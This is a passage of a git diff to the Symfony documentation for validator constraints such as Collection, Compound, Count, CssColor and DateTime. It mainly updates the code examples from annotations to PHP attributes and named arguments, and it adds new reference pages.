maxMessage = "Your short bio is too long!" - * ) - * } - * }, - * allowMissingFields = true - * ) - */ - protected $profileData = [ + #[Assert\Collection( + fields: [ + 'personal_email' => new Assert\Email, + 'short_bio' => [ + new Assert\NotBlank, + new Assert\Length( + max: 100, + maxMessage: 'Your short bio is too long!' + ) + ] + ], + allowMissingFields: true, + )] + protected array $profileData = [ 'personal_email' => '...', 'short_bio' => '...', ]; @@ -144,10 +135,12 @@ following: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('profileData', new Assert\Collection([ - 'fields' => [ + $metadata->addPropertyConstraint('profileData', new Assert\Collection( + fields: [ 'personal_email' => new Assert\Email(), 'short_bio' => [ new Assert\NotBlank(), @@ -157,8 +150,8 @@ following: ]), ], ], - 'allowMissingFields' => true, - ])); + allowMissingFields: true, + )); } } @@ -192,7 +185,7 @@ you can do the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -201,15 +194,18 @@ you can do the following: class Author { - /** - * @Assert\Collection( - * fields={ - * "personal_email" = @Assert\Required({@Assert\NotBlank, @Assert\Email}), - * "alternate_email" = @Assert\Optional(@Assert\Email) - * } - * ) - */ - protected $profileData = ['personal_email' => 'email@example.com']; + #[Assert\Collection( + fields: [ + 'personal_email' => new Assert\Required([ + new Assert\NotBlank, + new Assert\Email, + ]), + 'alternate_email' => new Assert\Optional( + new Assert\Email + ), + ], + )] + protected array $profileData = ['personal_email' => 'email@example.com']; } .. code-block:: yaml @@ -267,19 +263,19 @@ you can do the following: class Author { - protected $profileData = ['personal_email']; + // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('profileData', new Assert\Collection([ - 'fields' => [ + $metadata->addPropertyConstraint('profileData', new Assert\Collection( + fields: [ 'personal_email' => new Assert\Required([ new Assert\NotBlank(), new Assert\Email(), ]), 'alternate_email' => new Assert\Optional(new Assert\Email()), ], - ])); + )); } } @@ -289,13 +285,47 @@ However, if the ``personal_email`` field does not exist in the array, the ``NotBlank`` constraint will still be applied (since it is wrapped in ``Required``) and you will receive a constraint violation. +When you define groups in nested constraints they are automatically added to +the ``Collection`` constraint itself so it can be traversed for all nested +groups. Take the following example:: + + use Symfony\Component\Validator\Constraints as Assert; + + $constraint = new Assert\Collection( + fields: [ + 'name' => new Assert\NotBlank(['groups' => 'basic']), + 'email' => new Assert\NotBlank(['groups' => 'contact']), + ], + ); + +This will result in the following configuration:: + + $constraint = new Assert\Collection( + fields: [ + 'name' => new Assert\Required( + constraints: new Assert\NotBlank(groups: ['basic']), + groups: ['basic', 'strict'], + ), + 'email' => new Assert\Required( + constraints: new Assert\NotBlank(groups: ['contact']), + groups: ['basic', 'strict'], + ), + ], + groups: ['basic', 'strict'], + ); + +The default ``allowMissingFields`` option requires the fields in all groups. +So when validating in ``contact`` group, ``$name`` can be empty but the key is +still required. If this is not the intended behavior, use the ``Optional`` +constraint explicitly instead of ``Required``. + Options ------- ``allowExtraFields`` ~~~~~~~~~~~~~~~~~~~~ -**type**: ``boolean`` **default**: false +**type**: ``boolean`` **default**: ``false`` If this option is set to ``false`` and the underlying collection contains one or more elements that are not included in the `fields`_ option, a validation @@ -304,7 +334,7 @@ error will be returned. If set to ``true``, extra fields are OK. ``allowMissingFields`` ~~~~~~~~~~~~~~~~~~~~~~ -**type**: ``boolean`` **default**: false +**type**: ``boolean`` **default**: ``false`` If this option is set to ``false`` and one or more fields from the `fields`_ option are not present in the underlying collection, a validation error @@ -330,7 +360,7 @@ Parameter Description ``fields`` ~~~~~~~~~~ -**type**: ``array`` [:ref:`default option <validation-default-option>`] +**type**: ``array`` This option is required and is an associative array defining all of the keys in the collection and, for each key, exactly which validator(s) should diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst index 6e0ab5db139..4d2c7743176 100644 --- a/reference/constraints/Compound.rst +++ b/reference/constraints/Compound.rst @@ -5,14 +5,8 @@ To the contrary to the other constraints, this constraint cannot be used on its Instead, it allows you to create your own set of reusable constraints, representing rules to use consistently across your application, by extending the constraint. -.. versionadded:: 5.1 - - The ``Compound`` constraint was introduced in Symfony 5.1. - ========== =================================================================== Applies to :ref:`class <validation-class-target>` or :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Compound` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CompoundValidator` ========== =================================================================== @@ -21,55 +15,60 @@ Basic Usage ----------- Suppose that you have different places where a user password must be validated, -you can create your own named set or requirements to be reused consistently everywhere:: +you can create your own named set or requirements to be reused consistently everywhere: + +.. configuration-block:: - // src/Validator/Constraints/PasswordRequirements.php - namespace App\Validator\Constraints; + .. code-block:: php-attributes - use Symfony\Component\Validator\Constraints\Compound; - use Symfony\Component\Validator\Constraints as Assert; + // src/Validator/Constraints/PasswordRequirements.php + namespace App\Validator\Constraints; - /** - * @Annotation - */ - class PasswordRequirements extends Compound - { - protected function getConstraints(array $options): array + use Symfony\Component\Validator\Constraints\Compound; + use Symfony\Component\Validator\Constraints as Assert; + + #[\Attribute] + class PasswordRequirements extends Compound { - return [ - new Assert\NotBlank(), - new Assert\Type('string'), - new Assert\Length(['min' => 12]), - new Assert\NotCompromisedPassword(), - ]; + protected function getConstraints(array $options): array + { + return [ + new Assert\NotBlank(), + new Assert\Type('string'), + new Assert\Length(min: 12), + new Assert\NotCompromisedPassword(), + new Assert\PasswordStrength(minScore: 4), + ]; + } } - } + +Add ``#[\Attribute]`` to the constraint class if you want to +use it as an attribute in other classes. If the constraint has +configuration options, define them as public properties on the constraint class. You can now use it anywhere you need it: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes - // src/User/RegisterUser.php - namespace App\User; + // src/Entity/User.php + namespace App\Entity\User; - use App\Validator\Constraints as AcmeAssert; + use App\Validator\Constraints as Assert; - class RegisterUser + class User { - /** - * @AcmeAssert\PasswordRequirements() - */ - public $password; + #[Assert\PasswordRequirements] + public string $plainPassword; } .. code-block:: yaml # config/validator/validation.yaml - App\User\RegisterUser: + App\Entity\User: properties: - password: + plainPassword: - App\Validator\Constraints\PasswordRequirements: ~ .. code-block:: xml @@ -80,8 +79,8 @@ You can now use it anywhere you need it: xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> - <class name="App\User\RegisterUser"> - <property name="password"> + <class name="App\Entity\User"> + <property name="plainPassword"> <constraint name="App\Validator\Constraints\PasswordRequirements"/> </property> </class> @@ -89,20 +88,64 @@ You can now use it anywhere you need it: .. code-block:: php - // src/User/RegisterUser.php - namespace App\User; + // src/Entity/User.php + namespace App\Entity\User; - use App\Validator\Constraints as AcmeAssert; + use App\Validator\Constraints as Assert; use Symfony\Component\Validator\Mapping\ClassMetadata; - class RegisterUser + class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('password', new AcmeAssert\PasswordRequirements()); + $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements()); } } +Validation groups and payload can be passed via constructor: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity\User; + + use App\Validator\Constraints as Assert; + + class User + { + #[Assert\PasswordRequirements( + groups: ['registration'], + payload: ['severity' => 'error'], + )] + public string $plainPassword; + } + + .. code-block:: php + + // src/Entity/User.php + namespace App\Entity\User; + + use App\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class User + { + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements( + groups: ['registration'], + payload: ['severity' => 'error'], + )); + } + } + +.. versionadded:: 7.2 + + Support for passing validation groups and the payload to the constructor + of the ``Compound`` class was introduced in Symfony 7.2. + Options ------- diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst index 4ce4691c6c9..d33c54c0812 100644 --- a/reference/constraints/Count.rst +++ b/reference/constraints/Count.rst @@ -6,15 +6,6 @@ Countable) element count is *between* some minimum and maximum value. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `divisibleBy`_ - - `divisibleByMessage`_ - - `exactMessage`_ - - `groups`_ - - `max`_ - - `maxMessage`_ - - `min`_ - - `minMessage`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Count` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CountValidator` ========== =================================================================== @@ -27,7 +18,7 @@ you might add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Participant.php namespace App\Entity; @@ -36,15 +27,13 @@ you might add the following: class Participant { - /** - * @Assert\Count( - * min = 1, - * max = 5, - * minMessage = "You must specify at least one email", - * maxMessage = "You cannot specify more than {{ limit }} emails" - * ) - */ - protected $emails = []; + #[Assert\Count( + min: 1, + max: 5, + minMessage: 'You must specify at least one email', + maxMessage: 'You cannot specify more than {{ limit }} emails', + )] + protected array $emails = []; } .. code-block:: yaml @@ -89,28 +78,26 @@ you might add the following: class Participant { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('emails', new Assert\Count([ - 'min' => 1, - 'max' => 5, - 'minMessage' => 'You must specify at least one email', - 'maxMessage' => 'You cannot specify more than {{ limit }} emails', - ])); + $metadata->addPropertyConstraint('emails', new Assert\Count( + min: 1, + max: 5, + minMessage: 'You must specify at least one email', + maxMessage: 'You cannot specify more than {{ limit }} emails', + )); } } Options ------- -divisibleBy -~~~~~~~~~~~ - -**type**: ``integer`` **default**: null - -.. versionadded:: 5.1 +``divisibleBy`` +~~~~~~~~~~~~~~~ - The ``divisibleBy`` option was introduced in Symfony 5.1. +**type**: ``integer`` **default**: ``null`` Validates that the number of elements of the given collection is divisible by a certain number. @@ -121,15 +108,11 @@ a certain number. are divisible by a certain number, use the :doc:`DivisibleBy </reference/constraints/DivisibleBy>` constraint. -divisibleByMessage -~~~~~~~~~~~~~~~~~~ +``divisibleByMessage`` +~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The number of elements in this collection should be a multiple of {{ compared_value }}.`` -.. versionadded:: 5.1 - - The ``divisibleByMessage`` option was introduced in Symfony 5.1. - The message that will be shown if the number of elements of the given collection is not divisible by the number defined in the ``divisibleBy`` option. @@ -141,8 +124,8 @@ Parameter Description ``{{ compared_value }}`` The number configured in the ``divisibleBy`` option ======================== =================================================== -exactMessage -~~~~~~~~~~~~ +``exactMessage`` +~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This collection should contain exactly {{ limit }} elements.`` @@ -160,8 +143,8 @@ Parameter Description .. include:: /reference/constraints/_groups-option.rst.inc -max -~~~ +``max`` +~~~~~~~ **type**: ``integer`` @@ -170,8 +153,8 @@ collection elements count is **greater** than this max value. This option is required when the ``min`` option is not defined. -maxMessage -~~~~~~~~~~ +``maxMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or less.`` @@ -187,8 +170,8 @@ Parameter Description ``{{ limit }}`` The upper limit =============== ============================================================== -min -~~~ +``min`` +~~~~~~~ **type**: ``integer`` @@ -197,8 +180,8 @@ collection elements count is **less** than this min value. This option is required when the ``max`` option is not defined. -minMessage -~~~~~~~~~~ +``minMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or more.`` diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst index 744de6dd0fb..2f75b1c1354 100644 --- a/reference/constraints/Country.rst +++ b/reference/constraints/Country.rst @@ -5,10 +5,6 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `alpha3`_ - - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Country` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator` ========== =================================================================== @@ -18,7 +14,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -27,10 +23,8 @@ Basic Usage class User { - /** - * @Assert\Country - */ - protected $country; + #[Assert\Country] + protected string $country; } .. code-block:: yaml @@ -66,7 +60,9 @@ Basic Usage class User { - public static function loadValidationMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidationMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('country', new Assert\Country()); } @@ -80,10 +76,6 @@ Options alpha3 ~~~~~~ -.. versionadded:: 5.1 - - The ``alpha3`` option was introduced in Symfony 5.1. - **type**: ``boolean`` **default**: ``false`` If this option is ``true``, the constraint checks that the value is a @@ -111,4 +103,3 @@ Parameter Description .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3#Current_codes - diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst new file mode 100644 index 00000000000..b9c78ec25ac --- /dev/null +++ b/reference/constraints/CssColor.rst @@ -0,0 +1,274 @@ +CssColor +======== + +Validates that a value is a valid CSS color. The underlying value is +cast to a string before being validated. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\CssColor` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator` +========== =================================================================== + +Basic Usage +----------- + +In the following example, the ``$defaultColor`` value must be a CSS color +defined in any of the valid CSS formats (e.g. ``red``, ``#369``, +``hsla(0, 0%, 20%, 0.4)``); the ``$accentColor`` must be a CSS color defined in +hexadecimal format; and ``$currentColor`` must be a CSS color defined as any of +the named CSS colors: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Bulb.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class Bulb + { + #[Assert\CssColor] + protected string $defaultColor; + + #[Assert\CssColor( + formats: Assert\CssColor::HEX_LONG, + message: 'The accent color must be a 6-character hexadecimal color.', + )] + protected string $accentColor; + + #[Assert\CssColor( + formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS], + message: 'The color '{{ value }}' is not a valid CSS color name.', + )] + protected string $currentColor; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\Bulb: + properties: + defaultColor: + - CssColor: ~ + accentColor: + - CssColor: + formats: !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG + message: The accent color must be a 6-character hexadecimal color. + currentColor: + - CssColor: + formats: + - !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS + - !php/const Symfony\Component\Validator\Constraints\CssColor::EXTENDED_NAMED_COLORS + message: The color "{{ value }}" is not a valid CSS color name. + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\Bulb"> + <property name="defaultColor"> + <constraint name="CssColor"/> + </property> + <property name="accentColor"> + <constraint name="CssColor"> + <option name="formats">hex_long</option> + <option name="message">The accent color must be a 6-character hexadecimal color.</option> + </constraint> + </property> + <property name="currentColor"> + <constraint name="CssColor"> + <option name="formats"> + <value>basic_named_colors</value> + <value>extended_named_colors</value> + </option> + <option name="message">The color "{{ value }}" is not a valid CSS color name.</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/Bulb.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Bulb + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor()); + + $metadata->addPropertyConstraint('accentColor', new Assert\CssColor( + formats: Assert\CssColor::HEX_LONG, + message: 'The accent color must be a 6-character hexadecimal color.', + )); + + $metadata->addPropertyConstraint('currentColor', new Assert\CssColor( + formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS], + message: 'The color "{{ value }}" is not a valid CSS color name.', + )); + } + } + +.. include:: /reference/constraints/_empty-values-are-valid.rst.inc + +Options +------- + +.. include:: /reference/constraints/_groups-option.rst.inc + +message +~~~~~~~ + +**type**: ``string`` **default**: ``This value is not a valid CSS color.`` + +This message is shown if the underlying data is not a valid CSS color. + +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ value }}`` The current (invalid) value +=============== ============================================================== + +formats +~~~~~~~ + +**type**: ``string`` | ``array`` + +By default, this constraint considers valid any of the many ways of defining +CSS colors. Use the ``formats`` option to restrict which CSS formats are allowed. +These are the available formats (which are also defined as PHP constants; e.g. +``Assert\CssColor::HEX_LONG``): + +* ``hex_long`` +* ``hex_long_with_alpha`` +* ``hex_short`` +* ``hex_short_with_alpha`` +* ``basic_named_colors`` +* ``extended_named_colors`` +* ``system_colors`` +* ``keywords`` +* ``rgb`` +* ``rgba`` +* ``hsl`` +* ``hsla`` + +hex_long +........ + +A regular expression. Allows all values which represent a CSS color of 6 +characters (in addition of the leading ``#``) and contained in ranges: ``0`` to +``9`` and ``A`` to ``F`` (case insensitive). + +Examples: ``#2F2F2F``, ``#2f2f2f`` + +hex_long_with_alpha +................... + +A regular expression. Allows all values which represent a CSS color with alpha +part of 8 characters (in addition of the leading ``#``) and contained in +ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive). + +Examples: ``#2F2F2F80``, ``#2f2f2f80`` + +hex_short +......... + +A regular expression. Allows all values which represent a CSS color of strictly +3 characters (in addition of the leading ``#``) and contained in ranges: ``0`` +to ``9`` and ``A`` to ``F`` (case insensitive). + +Examples: ``#CCC``, ``#ccc`` + +hex_short_with_alpha +.................... + +A regular expression. Allows all values which represent a CSS color with alpha +part of strictly 4 characters (in addition of the leading ``#``) and contained +in ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive). + +Examples: ``#CCC8``, ``#ccc8`` + +basic_named_colors +.................. + +Any of the valid color names defined in the `W3C list of basic named colors`_ +(case insensitive). + +Examples: ``black``, ``red``, ``green`` + +extended_named_colors +..................... + +Any of the valid color names defined in the `W3C list of extended named colors`_ +(case insensitive). + +Examples: ``aqua``, ``brown``, ``chocolate`` + +system_colors +............. + +Any of the valid color names defined in the `CSS WG list of system colors`_ +(case insensitive). + +Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText`` + +keywords +........ + +Any of the valid keywords defined in the `CSS WG list of keywords`_ (case insensitive). + +Examples: ``transparent``, ``currentColor`` + +rgb +... + +A regular expression. Allows all values which represent a CSS color following +the RGB notation, with or without space between values. + +Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)`` + +rgba +.... + +A regular expression. Allows all values which represent a CSS color with alpha +part following the RGB notation, with or without space between values. + +Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)`` + +hsl +... + +A regular expression. Allows all values which represent a CSS color following +the HSL notation, with or without space between values. + +Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)`` + +hsla +.... + +A regular expression. Allows all values which represent a CSS color with alpha +part following the HSLA notation, with or without space between values. + +Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)`` + +.. include:: /reference/constraints/_payload-option.rst.inc + +.. _`W3C list of basic named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Basic_Colors +.. _`W3C list of extended named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Extended_colors +.. _`CSS WG list of system colors`: https://drafts.csswg.org/css-color/#css-system-colors +.. _`CSS WG list of keywords`: https://drafts.csswg.org/css-color/#transparent-color diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst index 651af1b1a92..cf074d4b069 100644 --- a/reference/constraints/Currency.rst +++ b/reference/constraints/Currency.rst @@ -5,9 +5,6 @@ Validates that a value is a valid `3-letter ISO 4217`_ currency name. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Currency` Validator :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator` ========== =================================================================== @@ -20,7 +17,7 @@ a valid currency, you could do the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -29,10 +26,8 @@ a valid currency, you could do the following: class Order { - /** - * @Assert\Currency - */ - protected $currency; + #[Assert\Currency] + protected string $currency; } .. code-block:: yaml @@ -68,7 +63,9 @@ a valid currency, you could do the following: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('currency', new Assert\Currency()); } @@ -97,10 +94,6 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc .. _`3-letter ISO 4217`: https://en.wikipedia.org/wiki/ISO_4217 diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst index 4b1e99c3ed1..93bd401cff6 100644 --- a/reference/constraints/Date.rst +++ b/reference/constraints/Date.rst @@ -2,13 +2,10 @@ Date ==== Validates that a value is a valid date, meaning a string (or an object that can -be cast into a string) that follows a valid ``YYYY-MM-DD`` format. +be cast into a string) that follows a valid ``Y-m-d`` format (e.g. ``'2023-10-18'``). ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Date` Validator :class:`Symfony\\Component\\Validator\\Constraints\\DateValidator` ========== =================================================================== @@ -18,7 +15,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -27,11 +24,8 @@ Basic Usage class Author { - /** - * @Assert\Date - * @var string A "Y-m-d" formatted value - */ - protected $birthday; + #[Assert\Date] + protected string $birthday; } .. code-block:: yaml @@ -70,9 +64,9 @@ Basic Usage /** * @var string A "Y-m-d" formatted value */ - protected $birthday; + protected string $birthday; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('birthday', new Assert\Date()); } @@ -101,8 +95,4 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst index 582f93aeac8..ffcfbf55dda 100644 --- a/reference/constraints/DateTime.rst +++ b/reference/constraints/DateTime.rst @@ -6,10 +6,6 @@ that can be cast into a string) that follows a specific format. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `format`_ - - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\DateTime` Validator :class:`Symfony\\Component\\Validator\\Constraints\\DateTimeValidator` ========== =================================================================== @@ -19,7 +15,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -29,10 +25,10 @@ Basic Usage class Author { /** - * @Assert\DateTime * @var string A "Y-m-d H:i:s" formatted value */ - protected $createdAt; + #[Assert\DateTime] + protected string $createdAt; } .. code-block:: yaml @@ -71,9 +67,9 @@ Basic Usage /** * @var string A "Y-m-d H:i:s" formatted value */ - protected $createdAt; + protected string $createdAt; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('createdAt', new Assert\DateTime()); } @@ -84,12 +80,12 @@ Basic Usage Options ------- -format -~~~~~~ +``format`` +~~~~~~~~~~ **type**: ``string`` **default**: ``Y-m-d H:i:s`` -This option allows to validate a custom date format. See +This option allows you to validate a custom date format. See :phpmethod:`DateTime::createFromFormat` for formatting options. .. include:: /reference/constraints/_groups-option.rst.inc @@ -103,15 +99,16 @@ This message is shown if the underlying data is not a valid datetime. You can use the following parameters in this message: -=============== ============================================================== -Parameter Description -=============== ============================================================== -``{{ value }}`` The current (invalid) value -``{{ label }}`` Corresponding form field label -=============== ============================================================== +================ ============================================================== +Parameter Description +================ ============================================================== +``{{ value }}`` The current (invalid) value +``{{ label }}`` Corresponding form field label +``{{ format }}`` The date format defined in ``format`` +================ ============================================================== -.. versionadded:: 5.2 +.. versionadded:: 7.3 - The ``{{ label }}`` parameter was introduced in Symfony 5.2. + The ``{{ format }}`` parameter was introduced in Symfony 7.3. .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst new file mode 100644 index 00000000000..e5cec52db2d --- /dev/null +++ b/reference/constraints/DisableAutoMapping.rst @@ -0,0 +1,90 @@ +DisableAutoMapping +================== + +This constraint allows to disable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>` +on a class or a property. Automapping allows to determine validation rules based +on Doctrine's attributes. You may use this constraint when +automapping is globally enabled, but you still want to disable this feature for +a class or a property specifically. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\DisableAutoMapping` +========== =================================================================== + +Basic Usage +----------- + +In the following example, the +:class:`Symfony\\Component\\Validator\\Constraints\\DisableAutoMapping` +constraint will tell the validator to not gather constraints from Doctrine's +metadata: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/BookCollection.php + namespace App\Model; + + use App\Model\Author; + use App\Model\BookMetadata; + use Doctrine\ORM\Mapping as ORM; + use Symfony\Component\Validator\Constraints as Assert; + + #[Assert\DisableAutoMapping] + class BookCollection + { + #[ORM\Column(nullable: false)] + protected string $name = ''; + + #[ORM\ManyToOne(targetEntity: Author::class)] + public Author $author; + + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\BookCollection: + constraints: + - DisableAutoMapping: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\BookCollection"> + <constraint name="DisableAutoMapping"/> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/BookCollection.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class BookCollection + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addConstraint(new Assert\DisableAutoMapping()); + } + } + +Options +------- + +The ``groups`` option is not available for this constraint. + +.. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst index 4503959aa57..23b36023cff 100644 --- a/reference/constraints/DivisibleBy.rst +++ b/reference/constraints/DivisibleBy.rst @@ -11,11 +11,6 @@ Validates that a value is divisible by another value, defined in the options. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleBy` Validator :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleByValidator` ========== =================================================================== @@ -30,7 +25,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Item.php namespace App\Entity; @@ -39,18 +34,13 @@ The following constraints ensure that: class Item { + #[Assert\DivisibleBy(0.25)] + protected float $weight; - /** - * @Assert\DivisibleBy(0.25) - */ - protected $weight; - - /** - * @Assert\DivisibleBy( - * value = 5 - * ) - */ - protected $quantity; + #[Assert\DivisibleBy( + value: 5, + )] + protected int $quantity; } .. code-block:: yaml @@ -96,13 +86,15 @@ The following constraints ensure that: class Item { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('weight', new Assert\DivisibleBy(0.25)); - $metadata->addPropertyConstraint('quantity', new Assert\DivisibleBy([ - 'value' => 5, - ])); + $metadata->addPropertyConstraint('quantity', new Assert\DivisibleBy( + value: 5, + )); } } @@ -111,8 +103,8 @@ Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be a multiple of {{ compared_value }}.`` diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst index 468051004a0..41012e5e935 100644 --- a/reference/constraints/Email.rst +++ b/reference/constraints/Email.rst @@ -6,11 +6,6 @@ cast to a string before being 